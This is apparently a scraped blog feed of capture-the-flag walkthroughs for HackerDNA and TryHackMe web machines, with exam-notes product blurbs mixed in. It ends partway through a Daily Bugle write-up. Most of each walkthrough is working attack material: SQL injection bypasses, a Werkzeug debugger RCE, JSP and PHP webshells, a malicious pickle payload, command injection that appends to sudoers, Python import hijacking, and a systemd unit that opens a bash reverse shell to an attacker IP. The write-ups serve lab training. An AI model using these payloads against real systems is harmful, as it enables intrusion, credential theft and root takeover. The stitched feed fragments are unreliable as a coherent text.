| Category: WEB | Flags: 2 (User + Root) |
Challenge: https://hackerdna.com
Nmap reveals two open ports:
The web app is a “Tech Corp” employee portal with a login page hinting guest:guest credentials.
The login form is vulnerable to SQL injection. The query is built with f-strings:
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}';"
The app blocks --, /*, and union but a simple tautology bypass works:
curl -X POST http://TARGET/login \
--data-urlencode "username=admin' OR '1'='1" \
--data-urlencode "password=x"
This redirects to /dashboard with a session cookie containing role: admin.
The admin dashboard displays a table of internal system credentials, including an active SSH entry:
| Field | Value |
|---|---|
| User | ctf |
| Password | nVqax6z9hjYesbGAQlSceueZPO2gh5a8t5XUYGQbTz8LmaWgwm |
| Host | prod-server-01.internal (same IP) |
sshpass -p 'nVqax6z9hjYesbGAQlSceueZPO2gh5a8t5XUYGQbTz8LmaWgwm' \
ssh ctf@TARGET 'cat /home/flag-user.txt'
User Flag: 5cb66b4a-5e82-4687-6b20-567ecb42f69a
The server is running Alpine Linux v3.22 (hence “Alpwned”).
The Flask app runs with debug=True, enabling the Werkzeug interactive debugger. The debugger is protected by a PIN and a host trust check.
The debugger only accepts requests with Host: localhost or Host: 127.0.0.1. This is trivially bypassed by setting the header:
curl -H "Host: localhost" http://TARGET/console
The PIN is generated from:
root), module (flask.app), app name (Flask), Flask’s app.py pathuuid.getnode()) and machine ID (boot_id + cgroup)# Gather from the target:
boot_id = open('/proc/sys/kernel/random/boot_id').read().strip()
# f245b383-685b-448d-8f0a-b55976f73ab8
cgroup = open('/proc/self/cgroup').readline().strip().rpartition('/')[2]
# db436debeaf04b33b6b49c844bf6f356-3088728595
machine_id = boot_id + cgroup
node = str(uuid.getnode()) # 11375925439490
Using these values, the PIN is computed: 258-593-142
Extract the SECRET from the error page, then authenticate and execute Python code as root:
# Authenticate and get PIN cookie
curl -H "Host: localhost" \
"http://TARGET/console?__debugger__=yes&cmd=pinauth&pin=258-593-142&s=x4OYLpzbNWnZIKXo3xk1"
# Execute commands as root
curl -G "http://TARGET/console" \
-H "Host: localhost" \
-b "__wzdc30a8aa28b708a39e0ba=<hash>" \
--data-urlencode "__debugger__=yes" \
--data-urlencode "cmd=__import__('os').popen('cat /root/flag-root.txt').read()" \
--data-urlencode "frm=0" \
--data-urlencode "s=x4OYLpzbNWnZIKXo3xk1"
Root Flag: 4158d639-b58b-4d27-7056-1b93a2c59e63
| Category: WEB | Flags: 2 (User + Root) |
Challenge: https://hackerdna.com
Nmap scan reveals two open ports:
Tomcat 9.0.96 has the Manager webapp at /manager/html with HTTP Basic Authentication.
The Tomcat Manager login accepts default credentials:
curl -u "admin:admin" "http://TARGET:8080/manager/html"
# HTTP 200 - Access granted
The admin user has the manager-gui role, granting access to the HTML management interface.
Create a JSP webshell and package it as a WAR file:
python3 -c "
import zipfile
with zipfile.ZipFile('cmd.war', 'w', zipfile.ZIP_DEFLATED) as war:
war.writestr('cmd.jsp', '''<%@ page import=\"java.io.*\" %>
<%
String cmd = request.getParameter(\"cmd\");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(new String[]{\"/bin/sh\", \"-c\", cmd});
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) {
out.println(line);
}
}
%>''')
Extract the CSRF nonce from the manager page and upload the WAR:
JSESSIONID="..."
NONCE="..."
curl -u "admin:admin" \
-F "deployWar=@cmd.war;filename=cmd.war" \
-F "deploy=Deploy" \
-F "path=/cmd" \
-F "org.apache.catalina.filters.CSRF_NONCE=$NONCE" \
"http://TARGET:8080/manager/html/upload"
Access the deployed webshell:
curl -s "http://TARGET:8080/cmd/cmd.jsp?cmd=id"
# uid=1000(hacker) gid=1000(hacker) groups=1000(hacker)
curl -s "http://TARGET:8080/cmd/cmd.jsp?cmd=cat%20/home/flag-user.txt"
# b457739f-aa29-e795-02a4-647e25b2a7ff
User Flag: b457739f-aa29-e795-02a4-647e25b2a7ff
curl -s "http://TARGET:8080/cmd/cmd.jsp?cmd=sudo%20-l"
# User hacker may run the following commands:
# (ALL) NOPASSWD: /usr/bin/find
The find binary with NOPASSWD sudo allows executing any command as root via the -exec flag:
curl -s "http://TARGET:8080/cmd/cmd.jsp?cmd=sudo%20/usr/bin/find%20-exec%20cat%20/root/flag-root.txt%20%5C%3B%20-quit"
# 28bc8d09-1a64-4a4b-3ec2-5eedbff89857
Root Flag: 28bc8d09-1a64-4a4b-3ec2-5eedbff89857
Apache Tomcat’s Manager webapp is a powerful administrative interface: it can deploy, start, stop, and undeploy applications. That feature set is exactly what makes it dangerous. The Manager authenticates with HTTP Basic over the management port, and in this challenge the deployment accepted the vendor-default admin:admin credentials. Once inside, the standard Tomcat deployment feature becomes remote code execution — a WAR file is just a ZIP archive, and a JSP page inside it is executed by the container as soon as it is requested.
The root escalation uses a classic GTFOBins pattern. sudo -l exposed (ALL) NOPASSWD: /usr/bin/find. The find binary supports -exec, which runs any command it is given, so a tool that is meant to search files becomes a wrapper for arbitrary root command execution.
admin:admin in place and a management interface is a one-command foothold.NOPASSWD + a binary that can execute arguments is root. Review sudo rules against GTFOBins. find -exec, vim, less, git, and scripting interpreters all become arbitrary command execution under sudo.| Category: WEB | Flags: 2 (User + Root) |
Challenge: https://hackerdna.com
Nmap scan reveals a single open port:
The web page displays a simple ASCII art welcome banner with mission instructions:
Target: this server
Your mission:
[1] Your mission starts here
[2] Obtain the user flag located in this server at /home/flag_user.txt
[3] Escalate privileges to root access
[4] Capture the root flag at /root/flag_root.txt
Checking robots.txt reveals critical information:
# Hostname: http://getsimple.hdna
User-agent: *
Disallow: /new_website/
The hostname getsimple.hdna strongly hints at GetSimple CMS. The /new_website/ directory is blocked from crawlers but accessible directly. Fuzzing confirms the admin panel at /new_website/admin/:
curl -s http://TARGET/new_website/admin/
# GetSimple CTF - Login Page (v3.3.16)
GetSimple CMS 3.3.16 is vulnerable to CVE-2014-8722 — an information disclosure that exposes user data and API keys via direct file access without authentication. The admin’s password hash is stored at /data/users/<username>.xml:
curl -s http://TARGET/new_website/data/users/admin.xml
<?xml version="1.0" encoding="UTF-8"?>
<item>
<USR>admin</USR>
<PWD>34391d961419bb65a1e8e2bb7f95581f35971238</PWD>
<EMAIL>admin@getsimple.hdna</EMAIL>
<HTMLEDITOR>1</HTMLEDITOR>
<TIMEZONE></TIMEZONE>
<LANG>en_US</LANG>
</item>
The extracted hash 34391d961419bb65a1e8e2bb7f95581f35971238 is a raw SHA1. Using John the Ripper with a common password wordlist:
echo '34391d961419bb65a1e8e2bb7f95581f35971238' > /tmp/hash.txt
john --format=raw-sha1 --wordlist=/usr/share/wordlists/rockyou.txt /tmp/hash.txt
1234yellow (?)
Admin credentials: admin / 1234yellow
Log in to the admin panel and navigate to the Theme Editor (theme-edit.php). The Innovation theme’s template.php is editable. Inject a PHP webshell at the top of the file:
<?php if(isset($_REQUEST['cmd'])){passthru($_REQUEST['cmd']);}?>
Save via POST with the CSRF nonce:
curl -s -X POST "http://TARGET/new_website/admin/theme-edit.php?t=Innovation&f=template.php" \
-b cookies.txt \
-d "nonce=NONCE_VALUE&content=PAYLOAD&edited_file=Innovation/template.php&submitsave=Save+Changes"
Execute commands through the injected webshell on the main site:
curl -s "http://TARGET/new_website/index.php?cmd=id"
# uid=100(nginx) gid=101(nginx) groups=82(www-data),101(nginx),101(nginx)
curl -s "http://TARGET/new_website/index.php?cmd=cat%20/home/flag_user.txt"
# 9688df73-41f4-4899-bac2-2753dd45ba79
User Flag: 9688df73-41f4-4899-bac2-2753dd45ba79
Running sudo -l reveals a NOPASSWD sudo rule for the find binary:
curl -s "http://TARGET/new_website/index.php?cmd=sudo%20-l"
# User nginx may run the following commands on ip-10-0-1-65:
# (root) NOPASSWD: /usr/bin/find
The find binary can be abused to spawn a root shell or execute arbitrary commands as root. Using the -exec flag:
curl -s "http://TARGET/new_website/index.php?cmd=sudo%20find%20.%20-exec%20cat%20/root/flag_root.txt%20%5C;%20-quit"
# b114d2e4-512b-4eae-8350-d2e47047d65e
Root Flag: b114d2e4-512b-4eae-8350-d2e47047d65e
GetSimple CMS 3.3.16 is vulnerable to CVE-2014-8722, an unauthenticated information disclosure. The admin user database lives in XML files under /data/users/, and the vulnerable build served those files directly to anyone who requested the path — no session or authentication required. The XML stored the admin password as an unsalted SHA1 hash, which makes it trivial to brute-force with a wordlist like rockyou.txt; john --format=raw-sha1 recovered the plaintext 1234yellow almost instantly because unsalted fast hashes can be computed billions of times per second.
The second stage uses a standard CMS feature as the entry point. GetSimple’s Theme Editor lets administrators edit template PHP files and saves them to disk. Logged in with the cracked credentials, injecting passthru() into template.php turns a cosmetic editor into a persistent web shell served from the main site.
robots.txt hint (/new_website/ and the getsimple.hdna hostname) plus the leak is a realistic recon-to-root chain: enumerate, read config, crack a hash, execute.| Category: WEB | Flags: 2 (User + Root) |
Challenge: https://hackerdna.com
Port 80 - nginx proxying to a Python Flask “DataVault Backup Management Portal” that accepts .pkl (pickle) files for “configuration restore”.
The /upload endpoint calls pickle.loads() on user-supplied data without any sanitization. Python pickle is inherently insecure — deserializing untrusted data executes arbitrary code.
Create a malicious pickle that runs a command via subprocess.check_output:
import pickle
import subprocess
class RCE:
def __reduce__(self):
return (subprocess.check_output, (['sh', '-c', '<command>'],))
payload = pickle.dumps(RCE())
Upload it to execute commands:
curl -X POST http://TARGET/upload -F "file=@exploit.pkl"
The response includes the command output in the config field.
cat /home/vault/flag-user.txt
User Flag: 790f26f3-e670-4ea2-b46d-5ad546da0b51
The vault user can run a script as root without a password:
User vault may run the following commands:
(root) NOPASSWD: /opt/vault/backup-util
The script is a simple bash wrapper around cat:
#!/bin/bash
cat "$1"
It can read any file as root:
sudo /opt/vault/backup-util /root/flag-root.txt
Root Flag: 24ad4f06-90ad-41a2-9741-fedfc20f6dc3
Python’s pickle is not a serialization format for untrusted data — it is a remote code execution primitive. A pickle file is a stack-based bytecode program that the Unpickler executes instruction-by-instruction during deserialization. When a class implements __reduce__, unpickling calls the returned callable with the returned arguments. In our payload, __reduce__ returns (subprocess.check_output, [...]), so pickle.loads() executes subprocess.check_output on the victim’s behalf. The Flask app treated the upload as a “configuration restore” and trusted the bytes without any signature or allowlist, which turned a feature into a shell.
The privilege escalation chain is equally instructive. backup-util is a root-owned script that passes the user-supplied filename straight to cat with no validation, so sudo gives root a file read for any path. sudo -l showed (root) NOPASSWD: /opt/vault/backup-util — and the script happened to be designed to read whatever path it was given.
cats an arbitrary path is a root file-read primitive. Restrict arguments to an allowlist (for example, only filenames inside the backup directory).sudo -l entitlements. NOPASSWD entries reduce friction but also reduce the barrier for an attacker who already has a low-privilege foothold. Grant the minimum command set needed.| Category: WEB | Difficulty: Medium | Flags: 2 (User + Root) |
Challenge: https://hackerdna.com
Only two ports open:
robots.txt reveals three blocked paths:
User-agent: *
Disallow: /dev/
Disallow: /backup/
Disallow: /admin/
| Path | Description |
|---|---|
/dev/notes.txt |
Dev notes from john (DevOps Team) |
/dev/search.php |
“Ultimate File Finder” — static HTML, always returns “TRY HARDER!” |
/dev/upload.php |
File upload — always says success, files saved to /tmp/uploads121212112121212/ |
/dev/file_search.php |
Hidden grep-based file search tool (NOT listed in robots.txt) |
/dev/old_search.php |
Disabled old implementation — hardcoded “File not found.” |
/backup/ |
403 Forbidden |
/admin/ |
HTTP Basic Auth (401) |
/.htpasswd |
admin:$apr1$salt1234$iHNzr3eR9mQrHG1ICLUaX/ |
Key finding: robots.txt blocks /dev/ but only lists search.php, upload.php, and old_search.php. The real vulnerability lives in /dev/file_search.php — discovered via directory brute-forcing (e.g., gobuster with a filename wordlist).
The file_search.php endpoint takes a pattern POST parameter and runs a grep search across files in /var/www/html/backup/. Searching with .* dumps all file contents:
curl -X POST http://TARGET/dev/file_search.php --data-urlencode 'pattern=.*'
This reveals /var/www/html/backup/credentials.txt:
### INTERNAL USE ONLY - DO NOT SHARE ###
Last backup from prod server - 2024-01-15
Database:
Host: prod-db-master.internal
Port: 5432
Database: customer_portal
User: app_user
Pass: DbP@ss2024Prod!
Application Servers:
SSH User: developer
SSH Pass: C0d3R_2023!
Redis Cache:
Host: prod-redis-01.internal
Port: 6379
Auth: RedisAuth2024#
AWS Access Keys:
Access Key ID: AKIA4EXAMPLE123456789
Secret Key: a1b2c3d4e5f6g7h8i9j0/k1l2m3n4o5p6
SSH in with the discovered credentials:
sshpass -p 'C0d3R_2023!' ssh developer@TARGET
cat ~/flag-user.txt
# bad6320b-fd56-4680-5a94-f8ac1e034418
The developer user has passwordless sudo for one command:
sudo -l
# (ALL) NOPASSWD: /usr/bin/python3 /opt/backup.py
The backup script /opt/backup.py has a command injection vulnerability:
import os
import sys
RESTRICTED_DIRS = ["/", "/root", "/etc", "/bin", "/sbin", "/usr",
"/var", "/lib", "/lib64", "/dev", "/proc", "/sys",
"/run", "/boot"]
def backup_files(directory):
directory = os.path.abspath(directory)
if directory in RESTRICTED_DIRS:
print(f"Error: Backup of {directory} is not allowed.")
return
if not os.path.isdir(directory):
print(f"Error: {directory} is not a valid directory.")
return
backup_path = "/tmp/backup.tar.gz"
os.system(f"tar -czf {backup_path} {directory}")
print(f"Backup of {directory} created at {backup_path}")
if __name__ == "__main__":
if len(sys.argv) < 2:
directory = input("Enter directory to backup: ")
backup_files(directory)
else:
backup_files(sys.argv[1])
The bug: os.system() passes user input directly to a shell. The restricted directory check is exact-match only, and os.path.abspath() does NOT sanitize shell metacharacters.
Create a directory whose literal name contains $(...):
mkdir -p '/tmp/x$(cat /root/flag-root.txt > /tmp/rf.txt)'
Trigger backup as root via the injection:
echo '/tmp/x$(cat /root/flag-root.txt > /tmp/rf.txt)' | sudo /usr/bin/python3 /opt/backup.py
The shell command executed as root was:
tar -czf /tmp/backup.tar.gz /tmp/x$(cat /root/flag-root.txt > /tmp/rf.txt)
The $(...) was evaluated before tar ran, writing the root flag to /tmp/rf.txt:
cat /tmp/rf.txt
# b1d5ffb1-3a67-498b-3ba8-fa463d5eb32a
Inject a sudoers entry via the same technique:
mkdir -p '/tmp/x$(echo "developer ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers)'
echo '/tmp/x$(echo "developer ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers)' | sudo /usr/bin/python3 /opt/backup.py
Spawn a root shell:
sudo /bin/bash -p
# uid=0(root) gid=0(root) groups=0(root)
Why not SUID? Setting
chmod u+s /bin/bashvia the same injection sets the bit, but the container’s seccomp filter (level 2) blocks thesetuid()syscall at exec time./bin/bash -pthen runs as the original user. The sudoers injection method is more reliable — it grants NOPASSWD sudo access legitimately.
os.system() — Never pass user input to shell commands unsanitized. Use subprocess.run() with argument lists instead.| Category: WEB | Flags: 2 (User + Root) |
Challenge: https://hackerdna.com
Nmap scan reveals two open ports:
The web page is a generic “under construction” site. No robots.txt. Running ffuf or gobuster to discover hidden files:
ffuf -u http://TARGET/FUZZ -w /opt/wordlists/SecLists/Discovery/Web-Content/common.txt -mc 200,301,302,403 -fs 533
This reveals a .git directory exposed on the web server:
| Path | Description |
|---|---|
/.git/HEAD |
ref: refs/heads/master |
/.git/config |
Repo config (author: Test) |
/.git/index |
Git index (2 tracked files) |
/.git/logs/HEAD |
Full commit history |
The git log reveals that credentials were committed and then removed:
curl http://TARGET/.git/logs/HEAD
73e8c07 Added index.php
eba1551 Added credentials for the server maintanance
94ad98f redacted the password for security
da5d3b7 removed credentials file for safety
3087615 Modified source code for index.php
Use git-dumper to reconstruct the full repo locally:
git-dumper http://TARGET/.git/ /tmp/repo
cd /tmp/repo
git log --all --oneline
Recover the credentials file from the commit where it was added:
git show eba1551:credentials.txt
# hackerdna:Password@1
sshpass -p 'Password@1' ssh hackerdna@TARGET
cat /home/flag-user.txt
# 834f5827-e0fb-4d9b-b1d0-687dbea16a1f
sudo -l
# (root) NOPASSWD: /usr/bin/python3 /home/hackerdna/test.py
The allowed script test.py:
import webbrowser
webbrowser.open("https://google.com")
The file is owned by root and not writable, but the directory is writable by the user. Python’s import statement searches the script’s directory first, so we can hijack the webbrowser module.
Create a malicious webbrowser.py in the same directory:
cat > /home/hackerdna/webbrowser.py << 'EOF'
import os
def open(url):
os.system("cat /root/flag-root.txt > /home/hackerdna/root_flag.txt")
EOF
Run the script as root — it imports our fake module instead of the real one:
sudo /usr/bin/python3 /home/hackerdna/test.py
cat /home/hackerdna/root_flag.txt
# fce6a3ab-8bce-4f4d-9983-95025be84ad9
Root Flag: fce6a3ab-8bce-4f4d-9983-95025be84ad9
A publicly reachable .git directory leaks the entire development history of a web application. Because Git stores every commit, “removing” a file from the working tree does not remove it from the repository — the commit eba1551 that added credentials.txt still exists in the object database, and the commit 94ad98f that “redacted the password for security” only deleted it from a later snapshot. Tools like git-dumper reconstruct the full repo over HTTP, after which git log and git show <commit>:<file> recover any secret that was ever committed.
The privilege escalation abuses Python’s module search order. When sudo /usr/bin/python3 /home/hackerdna/test.py runs, the interpreter adds the directory of the script (/home/hackerdna) to the front of sys.path. The script does import webbrowser, and because the user can write files in that directory, placing a malicious webbrowser.py there shadows the real standard-library module. Sudo then executes the import as root, running our code at the highest privilege level.
.git exposure is full source disclosure. Block directory listings and access to dot-prefixed paths in your web server config, and use tooling that flags exposed .git/.svn/.hg during recon.git filter-repo if it was ever pushed.sudo to interpreters running scripts from directories a user can write to. sys.path injection is a documented, reliable root primitive.sudo -l is the first step of every escalation. Always enumerate exactly which binaries and scripts can be run as root before looking for kernel exploits.
OSCP is not about knowing what tool exists.
It's about recalling the right command instantly, under pressure, without panic.
No scrolling. No guessing. No broken cheatsheets.
These are not PDFs. They’re an Obsidian vault you can search, link, and build upon.
OSCP tests execution under pressure.
These notes let you focus on strategy, not syntax.
OSWP is not about memorizing Wi-Fi theory.
It's about executing attacks cleanly, calmly, and correctly under pressure.
No guessing. No debugging hell. No failed handshakes.
Most resources dump commands and hope you figure it out.
These notes teach you why attacks fail and how to fix them.
Wireless attacks fail when you panic and guess.
They succeed when you follow a calm, tested process.
These notes give you confidence, clarity, and execution — exactly what OSWP demands.
]]>
Most bug hunters don't fail because they lack skill.
They fail because they miss things. This checklist ensures that does not happen.
Built from real reports, real triage feedback, and real mistakes that cost money.
This is not a list of vulnerability names.
Each item tells you what to test, why it matters, and what success looks like.
Bug bounty success is rarely about one genius idea.
It’s about not missing obvious and non-obvious issues.
This checklist makes your testing deliberate, repeatable, and profitable — one program at a time.
]]>
CRTA is not about memorizing AD tools.
It's about thinking like an attacker inside Active Directory — from initial foothold to domain dominance.
No theory. No guesswork. Just attack flows that work in real enterprises.
Most AD resources work in perfect lab conditions.
These notes teach you what actually works when defenders are watching.
Active Directory feels random when you’re guessing attack paths.
It becomes predictable when you follow a structured playbook.
These notes give you the clarity, structure, and real-world relevance to dominate any AD environment — from CRTA to real red team engagements.
]]>Room Link: https://thm.com/room/theimpossiblechallenge
The Impossible Challenge is a steganography-focused room that tests your ability to find hidden data embedded in seemingly normal content. Steganography is the practice of concealing information within non-secret files — images, audio, text — without obvious visual changes. This room uses multiple encoding layers and zero-width character techniques to hide flags in plain sight.
The challenge provides a zip file, but it is password-protected. You need to find the password before you can extract the flag.
The main page contains an encoded hash. Using the GCHQ Cryptography Decoder, apply the following transformations in sequence:
After decoding through these layers, you get the hint: It's inside the text, in front of your eyes!
The hint tells you to look at the source code of the page. Inspecting the HTML reveals unusual Unicode characters embedded around the word “Hmm”. These are zero-width characters — Unicode code points like U+200B (zero-width space), U+200C (zero-width non-joiner), and U+200D (zero-width joiner) that are invisible when rendered but carry data.
Copy the zero-width text and decode it using the Zero Width Decoder. This reveals the password: Password is *******.
Use the extracted password to unzip the file and retrieve the flag.
Room Link: https://thm.com/room/tutorial
The TryHackMe Tutorial room is designed for absolute beginners who want to understand how CTF challenges work. This room walks you through the basics of connecting to a target machine, browsing its web interface, and finding flags — the foundational workflow used in every penetration testing engagement.
Connect using OpenVPN:
openvpn <your-vpn-file.ovpn>
Wait for the Initialization Sequence Completed message. This means you’re now routed into the TryHackMe internal network and can reach the target machine.
flag{connection_verified} to complete the room.This room teaches three fundamental concepts used in every CTF and real-world pentest:
Room Link: https://thm.com/room/vulnversity
sudo openvpn --config username.ovpn.nmap -sV 10.10.65.81
Output of the command:Starting Nmap 7.80 ( https://nmap.org ) at 2024-02-26 09:55 IST
Nmap scan report for 10.10.135.130
Host is up (0.20s latency).
Not shown: 994 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3128/tcp open http-proxy Squid http proxy 3.5.12
3333/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Service Info: Host: VULNUNIVERSITY; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.77 seconds
how many ports are open? Answer 6What version of the squid proxy is running on the machine? Answer 3.5.12How many ports will Nmap scan if the flag -p-400 was used? Answer 400What is the most likely operating system this machine is running? Answer UbuntuWhat port is the web server running on? Answer 3333What is the flag for enabling verbose mode using Nmap? Answer -vgobuster dir -u http://10.10.65.81:3333 -w /usr/share/wordlist/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt
Output of the command:===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.65.81:3333
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/wordlist/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 318] [--> http://10.10.65.81:3333/images/]
/css (Status: 301) [Size: 315] [--> http://10.10.65.81:3333/css/]
/js (Status: 301) [Size: 314] [--> http://10.10.65.81:3333/js/]
/fonts (Status: 301) [Size: 317] [--> http://10.10.65.81:3333/fonts/]
/internal (Status: 301) [Size: 320] [--> http://10.10.65.81:3333/internal/]
Progress: 9932 / 1273834 (0.78%)
What is the directory that has an upload form page? Answer /internal/What common file type you'd want to upload to exploit the server is blocked? Try a couple to find out. Answer .phpRun this attack, what extension is allowed? Answer .phtml.phtml. Use nc -lvnp 1234 to get shell.What is the name of the user who manages the webserver? Answer bill. Use ls /home command to get username.What is the user flag? Answer ******************************** (32 alphanumeric characters). Command used cat /home/bill/user.txtfind / -perm /4000 2> /dev/null.On the system, search for all SUID files. Which file stands out? Answer /bin/systemctl Because systemctl don’t have suid permission normally.[Unit]
Description=ZishanAdThandar
[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.17.102.105/1337 0>&1'
[Install]
WantedBy=multi-user.target
python3 -m http.server 7860/tmp directory using cd /tmp command. Then uploaded the file with wget http://10.17.102.105:7860/ZishanAdThandar.service command./bin/systemctl enable /tmp/ZishanAdThandar.service command on reverse shell.nc -lvnp 1337./bin/systemctl start ZishanAdThandar to start the service and immediately we will get reverse shell as root on another netcat listner.Become root and get the last flag (/root/root.txt) Answer ******************************** (32 alphanumeric characters). Command used cat /root/root.txtRoom Link: https://thm.com/room/dailybugle
Access the web server, who robbed the bank? Answer spidermannmap -A 10.10.250.153
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-05 11:33 IST
Nmap scan report for 10.10.250.153
Host is up (0.18s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 68:ed:7b:19:7f:ed:14:e6:18:98:6d:c5:88:30:aa:e9 (RSA)
| 256 5c:d6:82:da:b2:19:e3:37:99:fb:96:82:08:70:ee:9d (ECDSA)
|_ 256 d2:a9:75:cf:2f:1e:f5:44:4f:0b:13:c2:0f:d7:37:cc (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.6.40)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.6.40
|_http-title: Home
|_http-generator: Joomla! - Open Source Content Management
| http-robots.txt: 15 disallowed entries
| /joomla/administrator/ /administrator/ /bin/ /cache/
| /cli/ /components/ /includes/ /installation/ /language/
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
3306/tcp open mysql MariaDB (unauthorized)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 38.97 seconds
What is the Joomla version? Answer 3.7.0
Got this details using OWASP joomscan by Mohammad Reza Espargham , Ali Razmjoo.
Command used: joomscan -u http://10.10.250.153/searchsploit joomla 3.7.0
---------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------- ---------------------------------
Joomla! 3.7.0 - 'com_fields' SQL Injection | php/webapps/42033.txt
Joomla! Component Easydiscuss < 4.0.21 - Cros | php/webapps/43488.txt
---------------------------------------------- ---------------------------------
Shellcodes: No Results
sqlmap -u "http://10.10.250.153/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --threads=10 --dbms=MySQL --technique=Esqlmap -u "http://10.10.250.153/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --threads=10 --dbms=MySQL --technique=E --dbs and got a database named joomlajoomla command sqlmap -u "http://10.10.250.153/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --threads=10 --dbms=MySQL --technique=E -D joomla --tables and we will get a table named #__userssqlmap -u "http://10.10.250.153/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --threads=10 --dbms=MySQL --technique=E -D joomla -T "#__users" --columns it will prompt for bruteforcing existing column names, we can find some column names like id, username, email, password etc.sqlmap -u "http://10.10.250.153/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --threads=10 --dbms=MySQL --technique=E -D joomla -T "#__users" -C id,name,username,email,password --dump
It shows result like that,+-----+------------+----------+---------------------+--------------------------------------------------------------+
| id | name | username | email | password |
+-----+------------+----------+---------------------+--------------------------------------------------------------+
| 811 | Super User | jonah | jonah@thm.com | $2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm |
+-----+------------+----------+---------------------+--------------------------------------------------------------+
hashid to detect hash type and it could be bcrypt.hashid '$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm'
Analyzing '$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm'
[+] Blowfish(OpenBSD)
[+] Woltlab Burning Board 4.x
[+] bcrypt
john the ripper to decrypt the hash, using rockyou.txt wordlist.john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
*********** (?)
1g 0:00:09:27 DONE (2020-06-14 17:12) 0.001762g/s 82.55p/s 82.55c/s 82.55C/s sweetsmile..speciala
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
What is Jonah's cracked password? Answer spiderman123jonah and password spiderman123 on http://10.10.250.153/administrator/.Extensions > Templates > Templates and select Beez3 and edit the index.php file to get reverse shell.netcat with nc -lvnp 1234 and replaced the code in index.php with pentestmonkey shell with own ip port and save.nc -nlvp 1234
Listening on 0.0.0.0 1234
Connection received on 10.10.250.153 56764
Linux dailybugle 3.10.0-1062.el7.x86_64 #1 SMP Wed Aug 7 18:08:02 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
04:23:12 up 5:27, 0 users, load average: 0.00, 0.01, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=48(apache) gid=48(apache) groups=48(apache)
jjameson with command ls /home.************* inside /var/www/html/configuration.php using cat /var/www/html/configuration.php.jjameson and got the flag
```bash ssh jjameson@10.10.250.153The authenticity of host ‘10.10.250.153 (10.10.250.153)’ can’t be established. ED25519 key fingerprint is SHA256:Gvd5jH4bP7HwPyB+lGcqZ+NhGxa7MKX4wXeWBvcBbBY. This key is not known by any other names Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added ‘10.10.250.153’ (ED25519) to the list of known hosts. jjameson@10.10.250.153’s password: Last login: Tue Mar 5 04:27:31 2024 [jjameson@dailybugle ~]$ cat /home/jjameson/user.txt **********
- Question `What is the user flag?` Answer `**************************`
- Using `sudo -l` command shows `/usr/bin/yum`.
```bash
sudo -l
Matching Defaults entries for jjameson on dailybugle:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User jjameson may run the following commands on dailybugle:
